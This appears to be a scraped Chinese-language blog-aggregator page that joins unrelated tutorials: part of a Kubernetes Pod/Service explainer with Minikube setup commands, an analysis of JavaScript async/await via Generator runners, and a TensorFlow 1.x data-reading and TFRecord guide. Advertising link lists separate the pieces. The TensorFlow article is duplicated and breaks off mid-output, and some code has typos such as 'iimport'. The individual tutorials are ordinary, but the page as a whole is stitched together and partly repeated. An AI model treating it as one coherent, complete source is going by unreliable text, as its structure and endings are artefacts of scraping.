  • 原因之二:通過Pause共享容器IP,共享Pause掛接的Volume,簡化密切關聯的業務容器之間的通信問題和文件共享問題

K8s為每個Pod都分配了唯一的IP地址,稱為Pod IP,一個Pod里的多個容器共享Pod IP地址。需要牢記的一點是:在 kubernetes 里,一個 Pod 里的容器與另外主機上的 Pod 容器能夠直接通信。

Pod的創建流程

當一個普通的Pod被創建,就會被放入etcd中存儲,隨後被 K8s Master節點調度到某個具體的Node上並進行綁定(Binding),隨後該Pod被對應的Node上的kubelet進程實例化成一組相關的Docker容器並啟動。

當Pod中有容器停止時,K8s 會自動檢測到這個問題並重啟這個 Pod(Pod里所有容器);如果Pod所在的Node宕機,就會將這個Node上的所有Pod重新調度到其他節點上。

細心的讀者是否發現:

當Pod越來越多,Pod IP 也越來越多,那是如何從茫茫IP地址中找到需要的服務呢?換句話來說,是否有一種提供唯一入口的機制,來完成對Pod的訪問,而無需關心訪問到具體是哪個Pod(who care :happy:)?

Kubernetes 提供了這種機制,稱之為 Service。

Service概念

Service服務是Kubernetes里的核心資源對象之一,從名稱上來看,理解其為一個”服務“也不為過,Service的作用是為相同標識的一系列Pod提供唯一的訪問地址。

Service使用的唯一地址稱為ClusterIP,僅當在集群內的容器才能通過此IP訪問到Service

它具體實現對一系列Pod綁定,需要再引入Label的概念,才能做出解答。

Label概念

Kubernetes 提供了Label(標籤)來對Pod、Service、RC、Node等進行標記。相當於打標籤,Label可以是一組KV鍵值對,也可以是一個set

一個資源對象可以定義任意數量的Label,同一個Label可以添加到任意數量的資源對象上。通常由定義資源對象時添加,創建后亦可動態添加或刪除。

Service如何動態綁定Pods?

原來,在定義 Pod 時,設置一系列 Label 標籤,Service 創建時定義了 Label Selector(Label Selector 可以類比為對 Label 進行 SQL 的 where 查詢),kube-proxy 進程通過 Service的Label Selector 來選擇對應的 Pod,自動建立每個 Service 到對應 Pod 的請求轉發路由表,從而實現 Service 的智能負載均衡機制。

小結:Pod是K8s最小的執行單元,包含一個Pause容器與多個業務容器,每個Pod中容器共享Pod IP,容器之間可直接作用Pod IP通信;Label是一種標籤,它將標籤打在Pod上時,Service可以通過定義Label Selector(Label查詢規則)來選擇Pod,具體實現路由表建立的是kube-proxy

部署應用實踐(Minikube)

安裝kubectl需要安裝成本地服務,這裡是debian10,更多參考https://developer.aliyun.com/mirror/kubernetes

sudo su -
apt-get update && apt-get install -y apt-transport-https
curl https://mirrors.aliyun.com/kubernetes/apt/doc/apt-key.gpg | apt-key add - 
cat <<EOF >/etc/apt/sources.list.d/kubernetes.list
deb https://mirrors.aliyun.com/kubernetes/apt/ kubernetes-xenial main
EOF  
apt-get update
apt-get install -y kubelet kubectl
exit

下載安裝Minikube(阿里雲修改版):

curl -Lo minikube-linux-amd64-1.11.0-aliyuncs http://kubernetes.oss-cn-hangzhou.aliyuncs.com/minikube/releases/v1.11.0/minikube-linux-amd64
sudo install minikube-linux-amd64-1.11.0-aliyuncs /usr/local/bin/minikube

使用魔改版是因為官方代碼里有些地方寫死了地址,而國內無法訪問

部署k8s集群:

minikube start --driver docker --image-repository registry.cn-hangzhou.aliyuncs.com/google_containers --kubernetes-version v1.18.3

本地有docker時使用此driver,其他可選的虛擬化技術參考https://minikube.sigs.k8s.io/docs/drivers/ 選擇

#部署一個Pod,Pod的deployment是一種默認的無狀態多備份的部署類型
kubectl create deployment hello-minikube --image=registry.cn-hangzhou.aliyuncs.com/google_containers/echoserver:1.4
#查看集群中當前的Pod列表
kubectl get pods
#創建的NodePort類型Service,將所有Node開放一個端口號,通過這個端口將流量轉發到Service以及下游Pods
kubectl expose deployment hello-minikube --type=NodePort --port=8080
#獲取暴露 Service 的 URL 以查看 Service 的詳細信息:
minikube service hello-minikube --url
#minikube提供的特色功能,直接通過瀏覽器打開剛才創建的Service的外部訪問地址
minikube service hello-minikube

自動打開瀏覽器訪問服務(Minikube特色功能)

提示:這張圖中的request-uri的解釋是不正確的,但是與 <minikube這個唯一Node的IP>:<NodePort><Service的ClusterIP>:<ServicePort>都不是完全匹配的,不大理解這塊提示,有緣人希望可解我所惑,在此先行感謝

查看Pod的描述信息

kubectl describe pod hello-minikube

最下方可以清楚得看到K8s集群default-scheduler成功指派我們要求的Pod在節點minikube上創建,kubelet收到信息后,拉取鏡像並啟動了容器

部署流程原理簡述

  1. kubectl 發送創建 deployment 類型、名為hello-minikube的Pod 請求到 kube-apiserver
  2. kube-apiserver 將這條描述信息存到 etcd
  3. kube-scheduler 監控 etcd 得到描述信息,監測Node負載情況,創建Pod部署描述信息到etcd
  4. 待部署Node的kubelet監聽到 etcd 中有自己的部署Pod信息,取出信息並按圖拉取業務鏡像,創建pause容器與業務容器(此時集群外部無法訪問)
  5. kubectl 執行expose命令,同時將創建Service與NodePort信息存到etcd中
  6. 各節點kube-proxy監聽到etcd變化,創建邏輯上的Service與路由信息,開闢NodePort
  7. 當請求到達<任意Node節點IP>:<NodePort> 時,根據路由錶轉發到指定的Service上,負載均衡到Pod,提供服務

集群外部訪問:

參考

  • https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/
  • https://kubernetes.io/docs/concepts/services-networking/
  • https://minikube.sigs.k8s.io/docs/start/
  • https://minikube.sigs.k8s.io/docs/handbook/controls/
  • 《Kubernetes權威指南》第 4 版

行文過程中難免出現錯誤,還請讀者評論幫忙改正,大家共同進步,在此感謝

轉載請註明出處,文章中概念引入《Kubernetes權威指南》很多,侵權改。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

FB行銷專家,教你從零開始的技巧

async/await剖析

async/await剖析

JavaScript是單線程的,為了避免同步阻塞可能會帶來的一些負面影響,引入了異步非阻塞機制,而對於異步執行的解決方案從最早的回調函數,到ES6Promise對象以及Generator函數,每次都有所改進,但是卻又美中不足,他們都有額外的複雜性,都需要理解抽象的底層運行機制,直到在ES7中引入了async/await,他可以簡化使用多個Promise時的同步行為,在編程的時候甚至都不需要關心這個操作是否為異步操作。

分析

首先使用async/await執行一組異步操作,並不需要回調嵌套也不需要寫多個then方法,在使用上甚至覺得這本身就是一個同步操作,當然在正式使用上應該將await語句放置於 try...catch代碼塊中,因為await命令後面的Promise對象,運行結果可能是rejected

function promise(){
    return new Promise((resolve, reject) => {
       var rand = Math.random() * 2; 
       setTimeout(() => resolve(rand), 1000);
    });
}

async function asyncFunct(){
    var r1 = await promise();
    console.log(1, r1);
    var r2 = await promise();
    console.log(2, r2);
    var r3 = await promise();
    console.log(3, r3);
}

asyncFunct();

async/await實際上是Generator函數的語法糖,如Promises類似於結構化回調,async/await在實現上結合了Generator函數與Promise函數,下面使用Generator函數加Thunk函數的形式實現一個與上邊相同的例子,可以看到只是將async替換成了*放置在函數右端,並將await替換成了yield,所以說async/await實際上是Generator函數的語法糖,此處唯一不同的地方在於實現了一個流程的自動管理函數run,而async/await內置了執行器,關於這個例子的實現下邊會詳述。對比來看,asyncawait,比起*yield,語義更清楚,async表示函數里有異步操作,await表示緊跟在後面的表達式需要等待結果。

function thunkFunct(index){
    return function f(funct){
        var rand = Math.random() * 2;
        setTimeout(() => funct(rand), 1000)
    }
}

function* generator(){ 
    var r1 = yield thunkFunct();
    console.log(1, r1);
    var r2 = yield thunkFunct();
    console.log(2, r2);
    var r3 = yield thunkFunct();
    console.log(3, r3);
}

function run(generator){
    var g = generator();

    var next = function(data){
        var res = g.next(data);
        if(res.done) return ;
        // console.log(res.value);
        res.value(next);
    }

    next();
}

run(generator);

實現

async函數內置了執行器,能夠實現函數執行的自動流程管理,通過Generator yield ThunkGenerator yield Promise實現一個自動流程管理,只需要編寫Generator函數以及Thunk函數或者Promise對象並傳入自執行函數,就可以實現類似於async/await的效果。

Generator yield Thunk

自動流程管理run函數,首先需要知道在調用next()方法時,如果傳入了參數,那麼這個參數會傳給上一條執行的yield語句左邊的變量,在這個函數中,第一次執行next時並未傳遞參數,而且在第一個yield上邊也並不存在接收變量的語句,無需傳遞參數,接下來就是判斷是否執行完這個生成器函數,在這裏並沒有執行完,那麼將自定義的next函數傳入res.value中,這裏需要注意res.value是一個函數,可以在下邊的例子中將註釋的那一行執行,然後就可以看到這個值是f(funct){...},此時我們將自定義的next函數傳遞后,就將next的執行權限交予了f這個函數,在這個函數執行完異步任務后,會執行回調函數,在這個回調函數中會觸發生成器的下一個next方法,並且這個next方法是傳遞了參數的,上文提到傳入參數後會將其傳遞給上一條執行的yield語句左邊的變量,那麼在這一次執行中會將這個參數值傳遞給r1,然後在繼續執行next,不斷往複,直到生成器函數結束運行,這樣就實現了流程的自動管理。

function thunkFunct(index){
    return function f(funct){
        var rand = Math.random() * 2;
        setTimeout(() => funct(rand), 1000)
    }
}

function* generator(){ 
    var r1 = yield thunkFunct();
    console.log(1, r1);
    var r2 = yield thunkFunct();
    console.log(2, r2);
    var r3 = yield thunkFunct();
    console.log(3, r3);
}

function run(generator){
    var g = generator();

    var next = function(data){
        var res = g.next(data);
        if(res.done) return ;
        // console.log(res.value);
        res.value(next);
    }

    next();
}

run(generator);

Generator yield Promise

相對於使用Thunk函數來做流程自動管理,使用Promise來實現相對更加簡單,Promise實例能夠知道上一次回調什麼時候執行,通過then方法啟動下一個yield,不斷繼續執行,這樣就實現了流程的自動管理。

function promise(){
    return new Promise((resolve,reject) => {
        var rand = Math.random() * 2;
        setTimeout( () => resolve(rand), 1000);
    })
}

function* generator(){ 
    var r1 = yield promise();
    console.log(1, r1);
    var r2 = yield promise();
    console.log(2, r2);
    var r3 = yield promise();
    console.log(3, r3);
}

function run(generator){
    var g = generator();

    var next = function(data){
        var res = g.next(data);
        if(res.done) return ;
        res.value.then(data => next(data));
    }

    next();
}

run(generator);
// 比較完整的流程自動管理函數
function promise(){
    return new Promise((resolve,reject) => {
        var rand = Math.random() * 2;
        setTimeout( () => resolve(rand), 1000);
    })
}

function* generator(){ 
    var r1 = yield promise();
    console.log(1, r1);
    var r2 = yield promise();
    console.log(2, r2);
    var r3 = yield promise();
    console.log(3, r3);
}

function run(generator){
    return new Promise((resolve, reject) => {
        var g = generator();
        
        var next = function(data){
            var res = null;
            try{
                res = g.next(data);
            }catch(e){
                return reject(e);
            }
            if(!res) return reject(null);
            if(res.done) return resolve(res.value);
            Promise.resolve(res.value).then(data => {
                next(data);
            },(e) => {
                throw new Error(e);
            });
        }
        
        next();
    })
   
}

run(generator).then( () => {
    console.log("Finish");
});

每日一題

https://github.com/WindrunnerMax/EveryDay

參考

https://segmentfault.com/a/1190000007535316
http://www.ruanyifeng.com/blog/2015/05/co.html
http://www.ruanyifeng.com/blog/2015/05/async.html

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

Tensorflow 中(批量)讀取數據的案列分析及TFRecord文件的打包與讀取

內容概要:

單一數據讀取方式:

  第一種:slice_input_producer()

# 返回值可以直接通過 Session.run([images, labels])查看,且第一個參數必須放在列表中,如[...]
[images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

  第二種:string_input_producer()

# 需要定義文件讀取器,然後通過讀取器中的 read()方法來獲取數據(返回值類型 key,value),再通過 Session.run(value)查看
file_queue = tf.train.string_input_producer(filename, num_epochs=None, shuffle=True)

reader = tf.WholeFileReader() # 定義文件讀取器
key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容

  !!!num_epochs=None,不指定迭代次數,這樣文件隊列中元素個數也不限定(None*數據集大小)。

  !!!如果不是None,則此函數創建本地計數器 epochs,需要使用local_variables_initializer()初始化局部變量

  !!!以上兩種方法都可以生成文件名隊列。

(隨機)批量數據讀取方式:

batchsize=2  # 每次讀取的樣本數量
tf.train.batch(tensors, batch_size=batchsize)
tf.train.shuffle_batch(tensors, batch_size=batchsize, capacity=batchsize*10, min_after_dequeue=batchsize*5) # capacity > min_after_dequeue

  !!!以上所有讀取數據的方法,在Session.run()之前必須開啟文件隊列線程 tf.train.start_queue_runners()

 TFRecord文件的打包與讀取

 

 一、單一數據讀取方式

第一種:slice_input_producer()

def slice_input_producer(tensor_list, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None)

案例1:

import tensorflow as tf

images = ['image1.jpg', 'image2.jpg', 'image3.jpg', 'image4.jpg']
labels = [1, 2, 3, 4]

# [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

# 當num_epochs=2時,此時文件隊列中只有 2*4=8個樣本,所有在取第9個樣本時會出錯
# [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=2, shuffle=True)

data = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
print(type(data))   # <class 'list'>

with tf.Session() as sess:
    # sess.run(tf.local_variables_initializer())
    sess.run(tf.local_variables_initializer())
    coord = tf.train.Coordinator()  # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)  # 開始在圖表中收集隊列運行器

    for i in range(10):
        print(sess.run(data))

    coord.request_stop()
    coord.join(threads)

"""
運行結果:
[b'image2.jpg', 2]
[b'image1.jpg', 1]
[b'image3.jpg', 3]
[b'image4.jpg', 4]
[b'image2.jpg', 2]
[b'image1.jpg', 1]
[b'image3.jpg', 3]
[b'image4.jpg', 4]
[b'image2.jpg', 2]
[b'image3.jpg', 3]
"""

  !!!slice_input_producer() 中的第一個參數需要放在一個列表中,列表中的每個元素可以是 List 或 Tensor,如 [images,labels],

  !!!num_epochs設置

 

 第二種:string_input_producer()

def string_input_producer(string_tensor, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None, cancel_op=None)

文件讀取器

  不同類型的文件對應不同的文件讀取器,我們稱為 reader對象

  該對象的 read 方法自動讀取文件,並創建數據隊列,輸出key/文件名,value/文件內容;

reader = tf.TextLineReader()      ### 一行一行讀取,適用於所有文本文件

reader = tf.TFRecordReader() ### A Reader that outputs the records from a TFRecords file
reader = tf.WholeFileReader() ### 一次讀取整個文件,適用圖片

 案例2:讀取csv文件

iimport tensorflow as tf

filename = ['data/A.csv', 'data/B.csv', 'data/C.csv']

file_queue = tf.train.string_input_producer(filename, shuffle=True, num_epochs=2)   # 生成文件名隊列
reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
# reader = tf.TextLineReader()            # 定義文件讀取器(一行一行的讀)
key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容
print(type(file_queue))

init = [tf.global_variables_initializer(), tf.local_variables_initializer()]
with tf.Session() as sess:
    sess.run(init)
    coord = tf.train.Coordinator()
    threads = tf.train.start_queue_runners(sess=sess, coord=coord)
    try:
        while not coord.should_stop():
            for i in range(6):
                print(sess.run([key, value]))
            break
    except tf.errors.OutOfRangeError:
        print('read done')
    finally:
        coord.request_stop()
    coord.join(threads)

"""
reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
運行結果:
[b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
[b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
[b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
[b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
[b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
[b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
"""
"""
reader = tf.TextLineReader()           # 定義文件讀取器(一行一行的讀)
運行結果:
[b'data/B.csv:1', b'4.jpg,4']
[b'data/B.csv:2', b'5.jpg,5']
[b'data/B.csv:3', b'6.jpg,6']
[b'data/C.csv:1', b'7.jpg,7']
[b'data/C.csv:2', b'8.jpg,8']
[b'data/C.csv:3', b'9.jpg,9']
"""

案例3:讀取圖片(每次讀取全部圖片內容,不是一行一行)

import tensorflow as tf

filename = ['1.jpg', '2.jpg']
filename_queue = tf.train.string_input_producer(filename, shuffle=False, num_epochs=1)
reader = tf.WholeFileReader()              # 文件讀取器
key, value = reader.read(filename_queue)   # 讀取文件 key:文件名;value:圖片數據,bytes

with tf.Session() as sess:
    tf.local_variables_initializer().run()
    coord = tf.train.Coordinator()      # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)

    for i in range(filename.__len__()):
        image_data = sess.run(value)
        with open('img_%d.jpg' % i, 'wb') as f:
            f.write(image_data)
    coord.request_stop()
    coord.join(threads)

 

 二、(隨機)批量數據讀取方式:

  功能:shuffle_batch() 和 batch() 這兩個API都是從文件隊列中批量獲取數據,使用方式類似;

案例4:slice_input_producer() 與 batch()

import tensorflow as tf
import numpy as np

images = np.arange(20).reshape([10, 2])
label = np.asarray(range(0, 10))
images = tf.cast(images, tf.float32)  # 可以註釋掉,不影響運行結果
label = tf.cast(label, tf.int32)     # 可以註釋掉,不影響運行結果

batchsize = 6   # 每次獲取元素的數量
input_queue = tf.train.slice_input_producer([images, label], num_epochs=None, shuffle=False)
image_batch, label_batch = tf.train.batch(input_queue, batch_size=batchsize)

# 隨機獲取 batchsize個元素,其中,capacity:隊列容量,這個參數一定要比 min_after_dequeue 大
# image_batch, label_batch = tf.train.shuffle_batch(input_queue, batch_size=batchsize, capacity=64, min_after_dequeue=10)

with tf.Session() as sess:
    coord = tf.train.Coordinator()      # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
    for cnt in range(2):
        print("第{}次獲取數據,每次batch={}...".format(cnt+1, batchsize))
        image_batch_v, label_batch_v = sess.run([image_batch, label_batch])
        print(image_batch_v, label_batch_v, label_batch_v.__len__())

    coord.request_stop()
    coord.join(threads)

"""
運行結果:
第1次獲取數據,每次batch=6...
[[ 0.  1.]
 [ 2.  3.]
 [ 4.  5.]
 [ 6.  7.]
 [ 8.  9.]
 [10. 11.]] [0 1 2 3 4 5] 6
第2次獲取數據,每次batch=6...
[[12. 13.]
 [14. 15.]
 [16. 17.]
 [18. 19.]
 [ 0.  1.]
 [ 2.  3.]] [6 7 8 9 0 1] 6
"""

 案例5:從本地批量的讀取圖片 — string_input_producer() 與 batch()

 1 import tensorflow as tf
 2 import glob
 3 import cv2 as cv
 4 
 5 def read_imgs(filename, picture_format, input_image_shape, batch_size=1):
 6     """
 7     從本地批量的讀取圖片
 8     :param filename: 圖片路徑(包括圖片的文件名),[]
 9     :param picture_format: 圖片的格式,如 bmp,jpg,png等; string
10     :param input_image_shape: 輸入圖像的大小; (h,w,c)或[]
11     :param batch_size: 每次從文件隊列中加載圖片的數量; int
12     :return: batch_size張圖片數據, Tensor
13     """
14     global new_img
15     # 創建文件隊列
16     file_queue = tf.train.string_input_producer(filename, num_epochs=1, shuffle=True)
17     # 創建文件讀取器
18     reader = tf.WholeFileReader()
19     # 讀取文件隊列中的文件
20     _, img_bytes = reader.read(file_queue)
21     # print(img_bytes)    # Tensor("ReaderReadV2_19:1", shape=(), dtype=string)
22     # 對圖片進行解碼
23     if picture_format == ".bmp":
24         new_img = tf.image.decode_bmp(img_bytes, channels=1)
25     elif picture_format == ".jpg":
26         new_img = tf.image.decode_jpeg(img_bytes, channels=3)
27     else:
28         pass
29     # 重新設置圖片的大小
30     # new_img = tf.image.resize_images(new_img, input_image_shape)
31     new_img = tf.reshape(new_img, input_image_shape)
32     # 設置圖片的數據類型
33     new_img = tf.image.convert_image_dtype(new_img, tf.uint8)
34 
35     # return new_img
36     return tf.train.batch([new_img], batch_size)
37 
38 
39 def main():
40     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
41     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
42     print(type(image_batch))
43     # image_path = glob.glob(r'.\*.jpg')
44     # image_batch = read_imgs(image_path, ".jpg", (313, 500, 3), 1)
45 
46     sess = tf.Session()
47     sess.run(tf.local_variables_initializer())
48     tf.train.start_queue_runners(sess=sess)
49 
50     image_batch = sess.run(image_batch)
51     print(type(image_batch))    # <class 'numpy.ndarray'>
52 
53     for i in range(image_batch.__len__()):
54         cv.imshow("win_"+str(i), image_batch[i])
55     cv.waitKey()
56     cv.destroyAllWindows()
57 
58 def start():
59     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
60     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
61     print(type(image_batch))    # <class 'tensorflow.python.framework.ops.Tensor'>
62 
63 
64     with tf.Session() as sess:
65         sess.run(tf.local_variables_initializer())
66         coord = tf.train.Coordinator()      # 線程的協調器
67         threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
68         image_batch = sess.run(image_batch)
69         print(type(image_batch))    # <class 'numpy.ndarray'>
70 
71         for i in range(image_batch.__len__()):
72             cv.imshow("win_"+str(i), image_batch[i])
73         cv.waitKey()
74         cv.destroyAllWindows()
75 
76         # 若使用 with 方式打開 Session,且沒加如下2行語句,則會出錯
77         # ERROR:tensorflow:Exception in QueueRunner: Enqueue operation was cancelled;
78         # 原因:文件隊列線程還處於工作狀態(隊列中還有圖片數據),而加載完batch_size張圖片會話就會自動關閉,同時關閉文件隊列線程
79         coord.request_stop()
80         coord.join(threads)
81 
82 
83 if __name__ == "__main__":
84     # main()
85     start()

從本地批量的讀取圖片案例

 

案列6:TFRecord文件打包與讀取

 1 def write_TFRecord(filename, data, labels, is_shuffler=True):
 2     """
 3     將數據打包成TFRecord格式
 4     :param filename: 打包後路徑名,默認在工程目錄下創建該文件;String
 5     :param data: 需要打包的文件路徑名;list
 6     :param labels: 對應文件的標籤;list
 7     :param is_shuffler:是否隨機初始化打包后的數據,默認:True;Bool
 8     :return: None
 9     """
10     im_data = list(data)
11     im_labels = list(labels)
12 
13     index = [i for i in range(im_data.__len__())]
14     if is_shuffler:
15         np.random.shuffle(index)
16 
17     # 創建寫入器,然後使用該對象寫入樣本example
18     writer = tf.python_io.TFRecordWriter(filename)
19     for i in range(im_data.__len__()):
20         im_d = im_data[index[i]]    # im_d:存放着第index[i]張圖片的路徑信息
21         im_l = im_labels[index[i]]  # im_l:存放着對應圖片的標籤信息
22 
23         # # 獲取當前的圖片數據  方式一:
24         # data = cv2.imread(im_d)
25         # # 創建樣本
26         # ex = tf.train.Example(
27         #     features=tf.train.Features(
28         #         feature={
29         #             "image": tf.train.Feature(
30         #                 bytes_list=tf.train.BytesList(
31         #                     value=[data.tobytes()])), # 需要打包成bytes類型
32         #             "label": tf.train.Feature(
33         #                 int64_list=tf.train.Int64List(
34         #                     value=[im_l])),
35         #         }
36         #     )
37         # )
38         # 獲取當前的圖片數據  方式二:相對於方式一,打包文件佔用空間小了一半多
39         data = tf.gfile.FastGFile(im_d, "rb").read()
40         ex = tf.train.Example(
41             features=tf.train.Features(
42                 feature={
43                     "image": tf.train.Feature(
44                         bytes_list=tf.train.BytesList(
45                             value=[data])), # 此時的data已經是bytes類型
46                     "label": tf.train.Feature(
47                         int64_list=tf.train.Int64List(
48                             value=[im_l])),
49                 }
50             )
51         )
52 
53         # 寫入將序列化之後的樣本
54         writer.write(ex.SerializeToString())
55     # 關閉寫入器
56     writer.close()

TFRecord文件打包案列

 

 1 import tensorflow as tf
 2 import cv2
 3 
 4 def read_TFRecord(file_list, batch_size=10):
 5     """
 6     讀取TFRecord文件
 7     :param file_list: 存放TFRecord的文件名,List
 8     :param batch_size: 每次讀取圖片的數量
 9     :return: 解析後圖片及對應的標籤
10     """
11     file_queue = tf.train.string_input_producer(file_list, num_epochs=None, shuffle=True)
12     reader = tf.TFRecordReader()
13     _, ex = reader.read(file_queue)
14     batch = tf.train.shuffle_batch([ex], batch_size, capacity=batch_size * 10, min_after_dequeue=batch_size * 5)
15 
16     feature = {
17         'image': tf.FixedLenFeature([], tf.string),
18         'label': tf.FixedLenFeature([], tf.int64)
19     }
20     example = tf.parse_example(batch, features=feature)
21 
22     images = tf.decode_raw(example['image'], tf.uint8)
23     images = tf.reshape(images, [-1, 32, 32, 3])
24 
25     return images, example['label']
26 
27 
28 
29 def main():
30     # filelist = ['data/train.tfrecord']
31     filelist = ['data/test.tfrecord']
32     images, labels = read_TFRecord(filelist, 2)
33     with tf.Session() as sess:
34         sess.run(tf.local_variables_initializer())
35         coord = tf.train.Coordinator()
36         threads = tf.train.start_queue_runners(sess=sess, coord=coord)
37 
38         try:
39             while not coord.should_stop():
40                 for i in range(1):
41                     image_bth, _ = sess.run([images, labels])
42                     print(_)
43 
44                     cv2.imshow("image_0", image_bth[0])
45                     cv2.imshow("image_1", image_bth[1])
46                 break
47         except tf.errors.OutOfRangeError:
48             print('read done')
49         finally:
50             coord.request_stop()
51         coord.join(threads)
52         cv2.waitKey(0)
53         cv2.destroyAllWindows()
54 
55 if __name__ == "__main__":
56     main()

TFReord文件的讀取案列

 

,

內容概要:

單一數據讀取方式:

  第一種:slice_input_producer()

# 返回值可以直接通過 Session.run([images, labels])查看,且第一個參數必須放在列表中,如[...]
[images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

  第二種:string_input_producer()

# 需要定義文件讀取器,然後通過讀取器中的 read()方法來獲取數據(返回值類型 key,value),再通過 Session.run(value)查看
file_queue = tf.train.string_input_producer(filename, num_epochs=None, shuffle=True)

reader = tf.WholeFileReader() # 定義文件讀取器
key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容

  !!!num_epochs=None,不指定迭代次數,這樣文件隊列中元素個數也不限定(None*數據集大小)。

  !!!如果不是None,則此函數創建本地計數器 epochs,需要使用local_variables_initializer()初始化局部變量

  !!!以上兩種方法都可以生成文件名隊列。

(隨機)批量數據讀取方式:

batchsize=2  # 每次讀取的樣本數量
tf.train.batch(tensors, batch_size=batchsize)
tf.train.shuffle_batch(tensors, batch_size=batchsize, capacity=batchsize*10, min_after_dequeue=batchsize*5) # capacity > min_after_dequeue

  !!!以上所有讀取數據的方法,在Session.run()之前必須開啟文件隊列線程 tf.train.start_queue_runners()

 TFRecord文件的打包與讀取

 

 一、單一數據讀取方式

第一種:slice_input_producer()

def slice_input_producer(tensor_list, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None)

案例1:

import tensorflow as tf

images = ['image1.jpg', 'image2.jpg', 'image3.jpg', 'image4.jpg']
labels = [1, 2, 3, 4]

# [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

# 當num_epochs=2時,此時文件隊列中只有 2*4=8個樣本,所有在取第9個樣本時會出錯
# [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=2, shuffle=True)

data = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
print(type(data))   # <class 'list'>

with tf.Session() as sess:
    # sess.run(tf.local_variables_initializer())
    sess.run(tf.local_variables_initializer())
    coord = tf.train.Coordinator()  # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)  # 開始在圖表中收集隊列運行器

    for i in range(10):
        print(sess.run(data))

    coord.request_stop()
    coord.join(threads)

"""
運行結果:
[b'image2.jpg', 2]
[b'image1.jpg', 1]
[b'image3.jpg', 3]
[b'image4.jpg', 4]
[b'image2.jpg', 2]
[b'image1.jpg', 1]
[b'image3.jpg', 3]
[b'image4.jpg', 4]
[b'image2.jpg', 2]
[b'image3.jpg', 3]
"""

  !!!slice_input_producer() 中的第一個參數需要放在一個列表中,列表中的每個元素可以是 List 或 Tensor,如 [images,labels],

  !!!num_epochs設置

 

 第二種:string_input_producer()

def string_input_producer(string_tensor, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None, cancel_op=None)

文件讀取器

  不同類型的文件對應不同的文件讀取器,我們稱為 reader對象

  該對象的 read 方法自動讀取文件,並創建數據隊列,輸出key/文件名,value/文件內容;

reader = tf.TextLineReader()      ### 一行一行讀取,適用於所有文本文件

reader = tf.TFRecordReader() ### A Reader that outputs the records from a TFRecords file
reader = tf.WholeFileReader() ### 一次讀取整個文件,適用圖片

 案例2:讀取csv文件

iimport tensorflow as tf

filename = ['data/A.csv', 'data/B.csv', 'data/C.csv']

file_queue = tf.train.string_input_producer(filename, shuffle=True, num_epochs=2)   # 生成文件名隊列
reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
# reader = tf.TextLineReader()            # 定義文件讀取器(一行一行的讀)
key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容
print(type(file_queue))

init = [tf.global_variables_initializer(), tf.local_variables_initializer()]
with tf.Session() as sess:
    sess.run(init)
    coord = tf.train.Coordinator()
    threads = tf.train.start_queue_runners(sess=sess, coord=coord)
    try:
        while not coord.should_stop():
            for i in range(6):
                print(sess.run([key, value]))
            break
    except tf.errors.OutOfRangeError:
        print('read done')
    finally:
        coord.request_stop()
    coord.join(threads)

"""
reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
運行結果:
[b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
[b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
[b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
[b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
[b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
[b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
"""
"""
reader = tf.TextLineReader()           # 定義文件讀取器(一行一行的讀)
運行結果:
[b'data/B.csv:1', b'4.jpg,4']
[b'data/B.csv:2', b'5.jpg,5']
[b'data/B.csv:3', b'6.jpg,6']
[b'data/C.csv:1', b'7.jpg,7']
